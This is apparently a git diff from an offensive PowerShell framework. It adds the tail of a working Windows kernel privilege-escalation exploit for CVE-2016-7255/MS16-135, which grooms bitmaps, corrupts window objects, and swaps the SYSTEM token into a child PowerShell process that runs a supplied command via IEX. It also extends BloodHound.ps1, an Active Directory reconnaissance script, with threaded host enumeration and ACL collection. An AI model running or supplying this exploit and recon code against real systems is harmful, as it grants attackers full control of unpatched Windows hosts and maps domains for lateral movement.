$BitMapObject = @() + $HashTable = @{ + BitmapHandle = $BitmapHandle + BitmapKernelObj = $($KernelArray[$i].KernelObj) + BitmappvScan0 = if ($x32) {$($KernelArray[$i].KernelObj) + 0x32} else {$($KernelArray[$i].KernelObj) + 0x50} + } + $Object = New-Object PSObject -Property $HashTable + $BitMapObject += $Object + $BitMapObject + } + + function Bitmap-Elevate { + param([IntPtr]$ManagerBitmap,[IntPtr]$WorkerBitmap) + + Add-Type -TypeDefinition @" + using System; + using System.Diagnostics; + using System.Runtime.InteropServices; + using System.Security.Principal; + public static class BitmapElevate + { + [DllImport("gdi32.dll")] + public static extern int SetBitmapBits( + IntPtr hbmp, + uint cBytes, + byte[] lpBits); + [DllImport("gdi32.dll")] + public static extern int GetBitmapBits( + IntPtr hbmp, + int cbBuffer, + IntPtr lpvBits); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr VirtualAlloc( + IntPtr lpAddress, + uint dwSize, + UInt32 flAllocationType, + UInt32 flProtect); + [DllImport("kernel32.dll", SetLastError=true)] + public static extern bool VirtualFree( + IntPtr lpAddress, + uint dwSize, + uint dwFreeType); + [DllImport("kernel32.dll", SetLastError=true)] + public static extern bool FreeLibrary( + IntPtr hModule); + [DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)] + public static extern IntPtr LoadLibrary( + string lpFileName); + [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)] + public static extern IntPtr GetProcAddress( + IntPtr hModule, + string procName); + } +"@ + + function Bitmap-Read { + param ($Address) + $CallResult = [BitmapElevate]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address)) + [IntPtr]$Pointer = [BitmapElevate]::VirtualAlloc([System.IntPtr]::Zero, [System.IntPtr]::Size, 0x3000, 0x40) + $CallResult = [BitmapElevate]::GetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, $Pointer) + if ($x32Architecture){ + [System.Runtime.InteropServices.Marshal]::ReadInt32($Pointer) + } else { + [System.Runtime.InteropServices.Marshal]::ReadInt64($Pointer) + } + $CallResult = [BitmapElevate]::VirtualFree($Pointer, [System.IntPtr]::Size, 0x8000) + } + + function Bitmap-Write { + param ($Address, $Value) + $CallResult = [BitmapElevate]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address)) + $CallResult = [BitmapElevate]::SetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Value)) + } + + switch ($OSMajorMinor) + { + '10.0' # Win10 / 2k16 + { + $UniqueProcessIdOffset = 0x2e8 + $TokenOffset = 0x358 + $ActiveProcessLinks = 0x2f0 + } + + '6.3' # Win8.1 / 2k12R2 + { + $UniqueProcessIdOffset = 0x2e0 + $TokenOffset = 0x348 + $ActiveProcessLinks = 0x2e8 + } + + '6.2' # Win8 / 2k12 + { + $UniqueProcessIdOffset = 0x2e0 + $TokenOffset = 0x348 + $ActiveProcessLinks = 0x2e8 + } + + '6.1' # Win7 / 2k8R2 + { + $UniqueProcessIdOffset = 0x180 + $TokenOffset = 0x208 + $ActiveProcessLinks = 0x188 + } + } + + Write-Verbose "`n[>] Leaking SYSTEM _EPROCESS.." + $SystemModuleArray = Get-LoadedModules + $KernelBase = $SystemModuleArray[0].ImageBase + $KernelType = ($SystemModuleArray[0].ImageName -split "\\")[-1] + $KernelHanle = [BitmapElevate]::LoadLibrary("$KernelType") + $PsInitialSystemProcess = [BitmapElevate]::GetProcAddress($KernelHanle, "PsInitialSystemProcess") + $SysEprocessPtr = if (!$x32Architecture) {$PsInitialSystemProcess.ToInt64() - $KernelHanle + $KernelBase} else {$PsInitialSystemProcess.ToInt32() - $KernelHanle + $KernelBase} + $CallResult = [BitmapElevate]::FreeLibrary($KernelHanle) + Write-Verbose "[+] _EPROCESS list entry: 0x$("{0:X}" -f $SysEprocessPtr)" + $SysEPROCESS = Bitmap-Read -Address $SysEprocessPtr + Write-Verbose "[+] SYSTEM _EPROCESS address: 0x$("{0:X}" -f $(Bitmap-Read -Address $SysEprocessPtr))" + Write-Verbose "[+] PID: $(Bitmap-Read -Address $($SysEPROCESS+$UniqueProcessIdOffset))" + Write-Verbose "[+] SYSTEM Token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($SysEPROCESS+$TokenOffset)))" + $SysToken = Bitmap-Read -Address $($SysEPROCESS+$TokenOffset) + + Write-Verbose "`n[>] Spawn child" + + $npipeName = Get-Random + + Write-Verbose "`n[>] Choosen name : $npipeName" + + $StartupInfo = New-Object STARTUPINFO + $StartupInfo.dwFlags = 0x00000001 + $StartupInfo.wShowWindow = 0x00000000 + $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size + $ProcessInfo = New-Object PROCESS_INFORMATION + $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName + $CallResult = [Advapi32]::CreateProcessWithLogonW( + "user", "domain", "pass", + 0x00000002, "$Env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe", " add-type -assemblyName `'System.Core`';`$npipeClient = new-object System.IO.Pipes.NamedPipeClientStream(`'.`', `'$npipeName`', [System.IO.Pipes.PipeDirection]::InOut,[System.IO.Pipes.PipeOptions]::None,[System.Security.Principal.TokenImpersonationLevel]::Impersonation);`$pipeReader = `$pipeWriter = `$null;`$playerName = `'ping`';`$npipeClient.Connect();`$pipeWriter = new-object System.IO.StreamWriter(`$npipeClient);`$pipeReader = new-object System.IO.StreamReader(`$npipeClient);`$pipeWriter.AutoFlush = `$true;`$pipeWriter.WriteLine(`$playerName);IEX `$pipeReader.ReadLine();`$npipeClient.Dispose();", + $null, $null, $GetCurrentPath, + [ref]$StartupInfo, [ref]$ProcessInfo) + + + add-type -assemblyName "System.Core" + $npipeServer = new-object System.IO.Pipes.NamedPipeServerStream($npipeName, [System.IO.Pipes.PipeDirection]::InOut) + $npipeServer.WaitForConnection() + $pipeReader = new-object System.IO.StreamReader($npipeServer) + $script:pipeWriter = new-object System.IO.StreamWriter($npipeServer) + $pipeWriter.AutoFlush = $true + $playerName = $pipeReader.ReadLine() + + if($playerName -eq "ping") + { + Write-Verbose "[+] Ping from child, voila" + } + + Write-Verbose "[+] Child PID is : $("{0}" -f $ProcessInfo.dwProcessId)`n" + + Write-Verbose "`n[>] Leaking current _EPROCESS.." + Write-Verbose "[+] Traversing ActiveProcessLinks list" + $NextProcess = $(Bitmap-Read -Address $($SysEPROCESS+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size + while($true) { + $NextPID = Bitmap-Read -Address $($NextProcess+$UniqueProcessIdOffset) + if ($NextPID -eq $ProcessInfo.dwProcessId) { + Write-Verbose "[+] PowerShell _EPROCESS address: 0x$("{0:X}" -f $NextProcess)" + Write-Verbose "[+] PID: $NextPID" + Write-Verbose "[+] PowerShell Token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($NextProcess+$TokenOffset)))" + $PoShTokenAddr = $NextProcess+$TokenOffset + break + } + $NextProcess = $(Bitmap-Read -Address $($NextProcess+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size + } + + Write-Verbose "`n[!] Duplicating SYSTEM token!`n" + + Bitmap-Write -Address $PoShTokenAddr -Value $SysToken + + "`n[!] Success, spawning a system shell!" + + Write-Verbose "[!] Sending command to the elevated child" + $pipeWriter.WriteLine($Command) + $npipeServer.Dispose() + + } + + function Sim-KeyDown { + param([Int]$wKey) + $KeyboardInput = New-Object KEYBDINPUT + $KeyboardInput.dwFlags = 0 + $KeyboardInput.wVk = $wKey + + $InputObject = New-Object INPUT + $InputObject.itype = 1 + $InputObject.U = $KeyboardInput + $InputSize = [System.Runtime.InteropServices.Marshal]::SizeOf($InputObject) + + $CallResult = [ms16135]::SendInput(1, $InputObject, $InputSize) + if ($CallResult -eq 1) { + $true + } else { + $false + } + } + + function Sim-KeyUp { + param([Int]$wKey) + $KeyboardInput = New-Object KEYBDINPUT + $KeyboardInput.dwFlags = 2 + $KeyboardInput.wVk = $wKey + + $InputObject = New-Object INPUT + $InputObject.itype = 1 + $InputObject.U = $KeyboardInput + $InputSize = [System.Runtime.InteropServices.Marshal]::SizeOf($InputObject) + + $CallResult = [ms16135]::SendInput(1, $InputObject, $InputSize) + if ($CallResult -eq 1) { + $true + } else { + $false + } + } + + function Do-AltShiftEsc { + $CallResult = Sim-KeyDown -wKey 0x12 # VK_MENU + $CallResult = Sim-KeyDown -wKey 0x10 # VK_SHIFT + $CallResult = Sim-KeyDown -wKey 0x1b # VK_ESCAPE + $CallResult = Sim-KeyUp -wKey 0x1b # VK_ESCAPE + $CallResult = Sim-KeyDown -wKey 0x1b # VK_ESCAPE + $CallResult = Sim-KeyUp -wKey 0x1b # VK_ESCAPE + $CallResult = Sim-KeyUp -wKey 0x12 # VK_MENU + $CallResult = Sim-KeyUp -wKey 0x10 # VK_SHIFT + } + + function Do-AltShiftTab { + param([Int]$Count) + $CallResult = Sim-KeyDown -wKey 0x12 # VK_MENU + $CallResult = Sim-KeyDown -wKey 0x10 # VK_SHIFT + for ($i=0;$i -lt $count;$i++) { + $CallResult = Sim-KeyDown -wKey 0x9 # VK_TAB + $CallResult = Sim-KeyUp -wKey 0x9 # VK_TAB + } + $CallResult = Sim-KeyUp -wKey 0x12 # VK_MENU + $CallResult = Sim-KeyUp -wKey 0x10 # VK_SHIFT + } + + do { + $Bitmap1 = Stage-gSharedInfoBitmap + $Bitmap2 = Stage-gSharedInfoBitmap + if ($Bitmap1.BitmapKernelObj -lt $Bitmap2.BitmapKernelObj) { + $WorkerBitmap = $Bitmap1 + $ManagerBitmap = $Bitmap2 + } else { + $WorkerBitmap = $Bitmap2 + $ManagerBitmap = $Bitmap1 + } + $Distance = $ManagerBitmap.BitmapKernelObj - $WorkerBitmap.BitmapKernelObj + } while ($Distance -ne 0x2000) + + Write-Verbose "[?] Adjacent large session pool feng shui.." + Write-Verbose "[+] Worker : $('{0:X}' -f $WorkerBitmap.BitmapKernelObj)" + Write-Verbose "[+] Manager : $('{0:X}' -f $ManagerBitmap.BitmapKernelObj)" + Write-Verbose "[+] Distance: 0x$('{0:X}' -f $Distance)" + + $TargetAddress = $WorkerBitmap.BitmapKernelObj + 63 + + function Do-OrAddress { + param([Int64]$Address) + + $AtomCreate = New-Object ms16135 + $hAtom = $AtomCreate.CustomClass("cve-2016-7255") + if ($hAtom -eq 0){ + break + } + + Write-Verbose "`n[?] Creating Window objects" + $hMod = [ms16135]::GetModuleHandleW([String]::Empty) + $hWndParent = [ms16135]::CreateWindowExW(0,"cve-2016-7255",[String]::Empty,0x10CF0000,0,0,360,360,[IntPtr]::Zero,[IntPtr]::Zero,$hMod,[IntPtr]::Zero) + if ($hWndParent -eq 0){ + break + } + + $hWndChild = [ms16135]::CreateWindowExW(0,"cve-2016-7255","cve-2016-7255",0x50CF0000,0,0,160,160,$hWndParent,[IntPtr]::Zero,$hMod,[IntPtr]::Zero) + if ($hWndChild -eq 0){ + break + } + + $Address = $Address - 0x28 + + Write-Verbose "[+] Corrupting child window spmenu" + $CallResult = [ms16135]::SetWindowLongPtr($hWndChild,-12,[IntPtr]$Address) + + $CallResult = [ms16135]::ShowWindow($hWndParent,1) + $hDesktopWindow = [ms16135]::GetDesktopWindow() + $CallResult = [ms16135]::SetParent($hWndChild,$hDesktopWindow) + $CallResult = [ms16135]::SetForegroundWindow($hWndChild) + + Do-AltShiftTab -Count 4 + + $CallResult = [ms16135]::SwitchToThisWindow($hWndChild,$true) + + Do-AltShiftEsc + + function Trigger-Write { + $SafeGuard = [diagnostics.stopwatch]::StartNew() + while ($SafeGuard.ElapsedMilliseconds -lt 3000) { + $tagMSG = New-Object tagMSG + if ($([ms16135]::GetMessage([ref]$tagMSG,[IntPtr]::Zero,0,0))) { + $CallResult = [ms16135]::SetFocus($hWndParent) # + for ($i=0;$i-lt20;$i++){Do-AltShiftEsc} # + $CallResult = [ms16135]::SetFocus($hWndChild) # Bug triggers here! + for ($i=0;$i-lt20;$i++){Do-AltShiftEsc} # + $CallResult = [ms16135]::TranslateMessage([ref]$tagMSG) + $CallResult = [ms16135]::DispatchMessage([ref]$tagMSG) + } + } $SafeGuard.Stop() + } + [IntPtr]$Global:BytePointer = [ms16135]::VirtualAlloc([System.IntPtr]::Zero, 0x2000, 0x3000, 0x40) + do { + Write-Verbose "[+] Trying to trigger arbitrary 'Or'.." + $ByteRead = [ms16135]::GetBitmapBits($WorkerBitmap.BitmapHandle,0x2000,$BytePointer) + Trigger-Write + $LoopCount += 1 + } while ($ByteRead -ne 0x2000 -And $LoopCount -lt 10) + + $CallResult = [ms16135]::DestroyWindow($hWndChild) + $CallResult = [ms16135]::DestroyWindow($hWndParent) + $CallResult = [ms16135]::UnregisterClass("cve-2016-7255",[IntPtr]::Zero) + + if ($LoopCount -eq 10) { + "`n[!] Bug did not trigger, try again or patched?`n" + $Script:BugNotTriggered = 1 + } + } + + Do-OrAddress -Address $TargetAddress + if ($BugNotTriggered) { + Return + } + + if ($OSMajorMinor -eq "6.1") { + $SizeVal = 0x400000770 + } else { + $SizeVal = 0x400000760 + } + do { + $Read64 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $LoopCount) + if ($Read64 -eq $SizeVal) { + $Pointer1 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $LoopCount + 16) + $Pointer2 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $LoopCount + 24) + if ($Pointer1 -eq $Pointer2) { + $BufferOffset = $LoopCount + 16 + Break + } + } + $LoopCount += 8 + } while ($LoopCount -lt 0x2000) + $pvBits = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $BufferOffset) + $pvScan0 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $BufferOffset + 8) + + if ($pvScan0 -ne 0) { + Write-Verbose "`n[?] Success, reading beyond worker bitmap size!" + Write-Verbose "[+] Old manager bitmap pvScan0: $('{0:X}' -f $pvScan0)" + } else { + "`n[!] Buffer contains invalid data, quitting..`n" + Return + } + + [System.Runtime.InteropServices.Marshal]::WriteInt64($($BytePointer.ToInt64() + $BufferOffset),$WorkerBitmap.BitmappvScan0) + [System.Runtime.InteropServices.Marshal]::WriteInt64($($BytePointer.ToInt64() + $BufferOffset + 8),$WorkerBitmap.BitmappvScan0) + $pvScan0 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $BufferOffset + 8) + Write-Verbose "[+] New manager bitmap pvScan0: $('{0:X}' -f $pvScan0)" + + $CallResult = [ms16135]::SetBitmapBits($WorkerBitmap.BitmapHandle,0x2000,$BytePointer) + + Bitmap-Elevate -ManagerBitmap $ManagerBitmap.BitmapHandle -WorkerBitmap $WorkerBitmap.BitmapHandle +} diff --git a/data/module_source/situational_awareness/network/BloodHound.ps1 b/data/module_source/situational_awareness/network/BloodHound.ps1 index b6eeff3..6b2a0ac 100644 --- a/data/module_source/situational_awareness/network/BloodHound.ps1 +++ b/data/module_source/situational_awareness/network/BloodHound.ps1 @@ -989,11 +989,11 @@ filter Convert-ADName { .PARAMETER InputType - The InputType of the user/group name ("NT4","Simple","Canonical"). + The InputType of the user/group name ("NT4","DN","Simple","Canonical"). .PARAMETER OutputType - The OutputType of the user/group name ("NT4","Simple","Canonical"). + The OutputType of the user/group name ("NT4","DN","Simple","Canonical"). .EXAMPLE @@ -1018,15 +1018,16 @@ filter Convert-ADName { $ObjectName, [String] - [ValidateSet("NT4","Simple","Canonical")] + [ValidateSet("NT4","DN","Simple","Canonical")] $InputType, [String] - [ValidateSet("NT4","Simple","Canonical")] + [ValidateSet("NT4","DN","Simple","Canonical")] $OutputType ) $NameTypes = @{ + 'DN' = 1 'Canonical' = 2 'NT4' = 3 'Simple' = 5 @@ -1046,6 +1047,9 @@ filter Convert-ADName { elseif($ObjectName -match "^[A-Za-z\.]+/[A-Za-z]+/[A-Za-z/ ]+") { $InputType = 'Canonical' } + elseif($ObjectName -match '^CN=.*') { + $InputType = 'DN' + } else { Write-Warning "Can not identify InType for $ObjectName" } @@ -1058,6 +1062,7 @@ filter Convert-ADName { $OutputType = Switch($InputType) { 'NT4' {'Canonical'} 'Simple' {'NT4'} + 'DN' {'NT4'} 'Canonical' {'NT4'} } } @@ -1067,6 +1072,7 @@ filter Convert-ADName { 'NT4' { $ObjectName.split("\")[0] } 'Simple' { $ObjectName.split("@")[1] } 'Canonical' { $ObjectName.split("/")[0] } + 'DN' {$ObjectName.subString($ObjectName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'} } # Accessor functions to simplify calls to NameTranslate @@ -4445,6 +4451,153 @@ function Invoke-MapDomainTrust { # ######################################################## +function New-ThreadedFunction { + # Helper used by any threaded host enumeration functions + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [String[]] + $ComputerName, + + [Parameter(Position = 1, Mandatory = $True)] + [System.Management.Automation.ScriptBlock] + $ScriptBlock, + + [Parameter(Position = 2)] + [Hashtable] + $ScriptParameters, + + [Int] + [ValidateRange(1, 100)] + $Threads = 20, + + [Switch] + $NoImports + ) + + BEGIN { + # Adapted from: + # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ + $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() + $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() + + # import the current session state's variables and functions so the chained PowerView + # functionality can be used by the threaded blocks + if (-not $NoImports) { + # grab all the current variables for this runspace + $MyVars = Get-Variable -Scope 2 + + # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice + $VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','input','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','MaximumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','null','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues','PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','SynchronizedHash','true') + + # add Variables from Parent Scope (current runspace) into the InitialSessionState + ForEach ($Var in $MyVars) { + if ($VorbiddenVars -NotContains $Var.Name) { + $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) + } + } + + # add Functions from current runspace to the InitialSessionState + ForEach ($Function in (Get-ChildItem Function:)) { + $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) + } + } + + # threading adapted from + # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 + # Thanks Carlos! + + # create a pool of maxThread runspaces + $Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) + $Pool.Open() + + # do some trickery to get the proper BeginInvoke() method that allows for an output queue + $Method = $Null + ForEach ($M in [PowerShell].GetMethods() | Where-Object { $_.Name -eq 'BeginInvoke' }) { + $MethodParameters = $M.GetParameters() + if (($MethodParameters.Count -eq 2) -and $MethodParameters[0].Name -eq 'input' -and $MethodParameters[1].Name -eq 'output') { + $Method = $M.MakeGenericMethod([Object], [Object]) + break + } + } + + $Jobs = @() + $ComputerName = $ComputerName | Where-Object { $_ -and ($_ -ne '') } + Write-Verbose "[New-ThreadedFunction] Total number of hosts: $($ComputerName.count)" + + # partition all hosts from -ComputerName into $Threads number of groups + if ($Threads -ge $ComputerName.Length) { + $Threads = $ComputerName.Length + } + $ElementSplitSize = [Int]($ComputerName.Length/$Threads) + $ComputerNamePartitioned = @() + $Start = 0 + $End = $ElementSplitSize + + for($i = 1; $i -le $Threads; $i++) { + $List = New-Object System.Collections.ArrayList + if ($i -eq $Threads) { + $End = $ComputerName.Length + } + $List.AddRange($ComputerName[$Start..($End-1)]) + $Start += $ElementSplitSize + $End += $ElementSplitSize + $ComputerNamePartitioned += @(,@($List.ToArray())) + } + + Write-Verbose "[New-ThreadedFunction] Total number of threads/partitions: $Threads" + + ForEach ($ComputerNamePartition in $ComputerNamePartitioned) { + # create a "powershell pipeline runner" + $PowerShell = [PowerShell]::Create() + $PowerShell.runspacepool = $Pool + + # add the script block + arguments with the given computer partition + $Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerNamePartition) + if ($ScriptParameters) { + ForEach ($Param in $ScriptParameters.GetEnumerator()) { + $Null = $PowerShell.AddParameter($Param.Name, $Param.Value) + } + } + + # create the output queue + $Output = New-Object Management.Automation.PSDataCollection[Object] + + # kick off execution using the BeginInvok() method that allows queues + $Jobs += @{ + PS = $PowerShell + Output = $Output + Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection[Object]]$Output)) + } + } + } + + END { + Write-Verbose "[New-ThreadedFunction] Threads executing" + + # continuously loop through each job queue, consuming output as appropriate + Do { + ForEach ($Job in $Jobs) { + $Job.Output.ReadAll() + } + Start-Sleep -Seconds 1 + } + While (($Jobs | Where-Object { -not $_.Result.IsCompleted }).Count -gt 0) + Write-Verbose "[New-ThreadedFunction] Waiting 120 seconds for final cleanup..." + Start-Sleep -Seconds 120 + + # cleanup- make sure we didn't miss anything + ForEach ($Job in $Jobs) { + $Job.Output.ReadAll() + $Job.PS.Dispose() + } + + $Pool.Dispose() + Write-Verbose "[New-ThreadedFunction] all threads completed" + } +} + + function Get-GlobalCatalogUserMapping { <# .SYNOPSIS @@ -4547,6 +4700,18 @@ function Invoke-BloodHound { To modify this, use -CSVFolder. To export to a neo4j RESTful API interface, specify a -URI X and -UserPass "...". + .PARAMETER ComputerName + + Array of one or more computers to enumerate. + + .PARAMETER ComputerADSpath + + The LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local". + + .PARAMETER UserADSpath + + The LDAP source to search through for users/groups, e.g. "LDAP://OU=secret,DC=testlab,DC=local". + .PARAMETER Domain Domain to query for machines, defaults to the current domain. @@ -4557,9 +4722,10 @@ function Invoke-BloodHound { .PARAMETER CollectionMethod - The method to collect data. 'Group', 'LocalGroup', 'GPOLocalGroup', 'Sesssion', 'LoggedOn', 'Trusts, 'Stealth', or 'Default'. + The method to collect data. 'Group', 'ComputerOnly', 'LocalGroup', 'GPOLocalGroup', 'Session', 'LoggedOn', 'Trusts, 'Stealth', or 'Default'. 'Stealth' uses 'Group' collection, stealth user hunting ('Session' on certain servers), 'GPOLocalGroup' enumeration, and trust enumeration. 'Default' uses 'Group' collection, regular user hunting with 'Session'/'LoggedOn', 'LocalGroup' enumeration, and 'Trusts' enumeration. + 'ComputerOnly' only enumerates computers, not groups/trusts, and executes local admin/session/loggedon on each. .PARAMETER SearchForest @@ -4586,6 +4752,10 @@ function Invoke-BloodHound { The global catalog location to resolve user memberships from, form of GC://global.catalog. + .PARAMETER SkipGCDeconfliction + + Switch. Skip global catalog enumeration for session deconfliction. + .PARAMETER Threads The maximum concurrent threads to execute, default of 20. @@ -4622,6 +4792,18 @@ function Invoke-BloodHound { [CmdletBinding(DefaultParameterSetName = 'CSVExport')] param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String[]] + [ValidateNotNullOrEmpty()] + $ComputerName, + + [String] + $ComputerADSpath, + + [String] + $UserADSpath, + [String] $Domain, @@ -4629,7 +4811,7 @@ function Invoke-BloodHound { $DomainController, [String] - [ValidateSet('Group', 'LocalGroup', 'GPOLocalGroup', 'Session', 'LoggedOn', 'Stealth', 'Trusts', 'Default')] + [ValidateSet('Group', 'ACLs', 'ComputerOnly', 'LocalGroup', 'GPOLocalGroup', 'Session', 'LoggedOn', 'Stealth', 'Trusts', 'Default')] $CollectionMethod = 'Default', [Switch] @@ -4658,6 +4840,9 @@ function Invoke-BloodHound { [String] $GlobalCatalog, + [Switch] + $SkipGCDeconfliction, + [ValidateRange(1,50)] [Int] $Threads = 20, @@ -4670,18 +4855,20 @@ function Invoke-BloodHound { BEGIN { Switch ($CollectionMethod) { - 'Group' { $UseGroup = $True; $SkipComputerEnumeration = $True; $SkipGCDeconfliction = $True } - 'LocalGroup' { $UseLocalGroup = $True; $SkipGCDeconfliction = $True } - 'GPOLocalGroup' { $UseGPOGroup = $True; $SkipComputerEnumeration = $True; $SkipGCDeconfliction = $True } - 'Session' { $UseSession = $True; $SkipGCDeconfliction = $False } - 'LoggedOn' { $UseLoggedOn = $True; $SkipGCDeconfliction = $True } - 'Trusts' { $UseDomainTrusts = $True; $SkipComputerEnumeration = $True; $SkipGCDeconfliction = $True } + 'Group' { $UseGroup = $True; $SkipComputerEnumeration = $True; $SkipGCDeconfliction2 = $True } + 'ACLs' { $UseGroup = $False; $SkipComputerEnumeration = $True; $SkipGCDeconfliction2 = $True; $UseACLs = $True } + 'ComputerOnly' { $UseGroup = $False; $UseLocalGroup = $True; $UseSession = $True; $UseLoggedOn = $True; $SkipGCDeconfliction2 = $False } + 'LocalGroup' { $UseLocalGroup = $True; $SkipGCDeconfliction2 = $True } + 'GPOLocalGroup' { $UseGPOGroup = $True; $SkipComputerEnumeration = $True; $SkipGCDeconfliction2 = $True } + 'Session' { $UseSession = $True; $SkipGCDeconfliction2 = $False } + 'LoggedOn' { $UseLoggedOn = $True; $SkipGCDeconfliction2 = $True } + 'Trusts' { $UseDomainTrusts = $True; $SkipComputerEnumeration = $True; $SkipGCDeconfliction2 = $True } 'Stealth' { $UseGroup = $True $UseGPOGroup = $True $UseSession = $True $UseDomainTrusts = $True - $SkipGCDeconfliction = $False + $SkipGCDeconfliction2 = $False } 'Default' { $UseGroup = $True @@ -4689,10 +4876,22 @@ function Invoke-BloodHound { $UseSession = $True $UseLoggedOn = $False $UseDomainTrusts = $True - $SkipGCDeconfliction = $False + $SkipGCDeconfliction2 = $False } } + if($SkipGCDeconfliction) { + $SkipGCDeconfliction2 = $True + } + + $GCPath = ([ADSI]'LDAP://RootDSE').dnshostname + $GCADSPath = "GC://$GCPath" + + # the ActiveDirectoryRights regex we're using for output + # https://msdn.microsoft.com/en-us/library/system.directoryservices.activedirectoryrights(v=vs.110).aspx + # $ACLRightsRegex = [regex] 'GenericAll|GenericWrite|WriteProperty|WriteOwner|WriteDacl|ExtendedRight' + $ACLGeneralRightsRegex = [regex] 'GenericAll|GenericWrite|WriteOwner|WriteDacl' + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { try { $OutputFolder = $CSVFolder | Resolve-Path -ErrorAction Stop | Select-Object -ExpandProperty Path @@ -4734,6 +4933,18 @@ function Invoke-BloodHound { } } + if($UseACLs) { + $ACLPath = "$OutputFolder\$($CSVExportPrefix)acls.csv" + $Exists = [System.IO.File]::Exists($ACLPath) + $ACLFileStream = New-Object IO.FileStream($ACLPath, [System.IO.FileMode]::Append, [System.IO.FileAccess]::Write, [IO.FileShare]::Read) + $ACLWriter = New-Object System.IO.StreamWriter($ACLFileStream) + $ACLWriter.AutoFlush = $True + if (-not $Exists) { + # add the header if the file doesn't already exist + $ACLWriter.WriteLine('"ObjectName","ObjectType","PrincipalName","PrincipalType","ActiveDirectoryRights","ACEType","AccessControlType","IsInherited"') + } + } + if($UseLocalGroup -or $UseGPOGroup) { $LocalAdminPath = "$OutputFolder\$($CSVExportPrefix)local_admins.csv" $Exists = [System.IO.File]::Exists($LocalAdminPath) @@ -4754,14 +4965,13 @@ function Invoke-BloodHound { $TrustWriter.AutoFlush = $True if (-not $Exists) { # add the header if the file doesn't already exist - $TrustWriter.WriteLine('"SourceDomain","TargetDomain","TrustDirection","TrustType","Transitive') + $TrustWriter.WriteLine('"SourceDomain","TargetDomain","TrustDirection","TrustType","Transitive"') } } } else { # otherwise we're doing ingestion straight to the neo4j RESTful API interface - $WebClient = New-Object System.Net.WebClient $Base64UserPass = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($UserPass)) @@ -4805,7 +5015,7 @@ function Invoke-BloodHound { } $UserDomainMappings = @{} - if(-not $SkipGCDeconfliction) { + if(-not $SkipGCDeconfliction2) { # if we're doing session enumeration, create a {user : @(domain,..)} from a global catalog # in order to do user domain deconfliction for sessions if($PSBoundParameters['GlobalCatalog']) { @@ -4833,14 +5043,17 @@ function Invoke-BloodHound { $Title = (Get-Culture).TextInfo ForEach ($TargetDomain in $TargetDomains) { # enumerate all groups and all members of each group + Write-Verbose "Enumerating group memberships for domain $TargetDomain" - Write-Output "Enumerating group memberships for domain $TargetDomain" - + # in-line updated hashtable with group DN->SamAccountName mappings + $GroupDNMappings = @{} $PrimaryGroups = @{} $DomainSID = Get-DomainSID -Domain $TargetDomain -DomainController $DomainController - $ObjectSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $DomainController + $ObjectSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $DomainController -ADSPath $UserADSpath + # only return results that have 'memberof' set $ObjectSearcher.Filter = '(memberof=*)' + # only return specific properties in the results $Null = $ObjectSearcher.PropertiesToLoad.AddRange(('samaccountname', 'distinguishedname', 'cn', 'dnshostname', 'samaccounttype', 'primarygroupid', 'memberof')) $Counter = 0 $ObjectSearcher.FindAll() | ForEach-Object { @@ -4908,7 +5121,9 @@ function Invoke-BloodHound { } elseif (@('805306369') -contains $Properties['samaccounttype']) { $ObjectType = 'computer' - $AccountName = $Properties['dnshostname'][0] + if ($Properties['dnshostname']) { + $AccountName = $Properties['dnshostname'][0] + } } elseif (@('805306368') -contains $Properties['samaccounttype']) { $ObjectType = 'user' @@ -4940,46 +5155,70 @@ function 